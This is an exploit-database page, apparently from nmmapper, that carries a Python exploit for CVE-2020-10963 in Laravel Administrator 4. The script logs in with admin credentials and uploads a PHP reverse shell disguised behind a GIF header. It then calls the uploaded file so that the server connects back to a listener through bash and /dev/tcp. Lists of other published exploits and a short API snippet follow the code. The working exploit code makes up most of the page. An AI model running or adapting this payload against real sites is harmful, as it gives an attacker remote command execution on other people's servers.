Become a patron and gain access to the dashboard, Schedule scans, API and Search patron

Search for hundreds of thousands of exploits

"Laravel Administrator 4 - Unrestricted File Upload (Authenticated)"

Author

Exploit author

"Xavi Beltran"

Platform

Exploit platform

php

Release date

Exploit published date

2020-11-27

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Exploit title: Laravel Administrator 4 - Unrestricted File Upload (Authenticated)
# Author: Victor Campos and Xavi Beltran
# Contact: [email protected]
# Exploit Development: https://xavibel.com/2020/03/23/unrestricted-file-upload-in-frozennode-laravel-administrator/
# Date: 25/3/2020
# Software link: https://github.com/FrozenNode/Laravel-Administrator/
# Version : 4
# Tested on: Laravel-Administrator 4
# CVE : CVE-2020-10963

#!/usr/bin/env python

import requests,json,traceback
from requests.auth import HTTPBasicAuth


#Parameters to be set up (ENTER YOUR VALUES)
#===========================================
# Listener IP and port
ip = ""
port = ""
#Admin credentials
user = ""
password = ""
#URLs of the web application
domain = "" # For example "https://www.example.com"
login_url = "" # For example "/user/login"
fileupload_url = "" # For example "/admin/categories/image/file_upload"
uploaded_files_url = "" # For example "/categories/images"



#Reverse shell payload (DO NOT MODIFY THIS SECTION)
#==================================================
#GIF file header
shell = "GIF89a\r\n"
#php reverse shell
shell += "\x3c?php\r\nexec(\"/bin/bash -c \'bash -i \x3e /dev/tcp/" + ip + "/" + port + " 0\x3e&1\'\");?\x3e\r\n"


with requests.Session() as s:
    try:
        print("\n[+] Logging into the panel")
        s.post(domain + login_url, data={'email':user,'password':password,'remember': '1'})
        print("[+] Uploading the malicious file")
        r = s.post(domain + fileupload_url, files={'name':'Picture.png','file': ('test.php',shell)})
        print("[+] Response text:")
        #print(r.text)
        shell_file = (json.loads(r.text))["filename"]
        print("[+] Name of uploaded file: " + shell_file)
        print("\n[+] Executing the reverse shell on " + ip + ":" + port + "...")
        r = s.get(domain + uploaded_files_url + '/' + shell_file)
    except Exception as e:
        print(str(traceback.format_exc()))
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-11-27 "Laravel Administrator 4 - Unrestricted File Upload (Authenticated)" webapps php "Xavi Beltran"
2019-10-01 "DameWare Remote Support 12.1.0.34 - Buffer Overflow (SEH)" local windows "Xavi Beltran"
2019-09-27 "Mobatek MobaXterm 12.1 - Buffer Overflow (SEH)" remote windows "Xavi Beltran"
2019-07-16 "DameWare Remote Support 12.0.0.509 - 'Host' Buffer Overflow (SEH)" local windows "Xavi Beltran"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/49112/?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.